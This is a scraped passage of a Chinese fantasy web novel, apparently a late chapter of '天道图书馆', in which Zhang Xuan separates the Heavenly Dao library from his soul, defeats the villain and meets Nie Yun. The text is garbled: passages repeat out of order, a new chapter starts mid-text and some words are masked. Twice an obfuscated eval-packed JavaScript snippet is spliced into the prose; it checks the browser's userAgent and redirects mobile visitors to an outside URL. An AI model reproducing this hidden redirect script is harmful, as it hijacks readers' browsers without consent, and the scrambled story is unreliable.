“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第201章回京 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216224|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 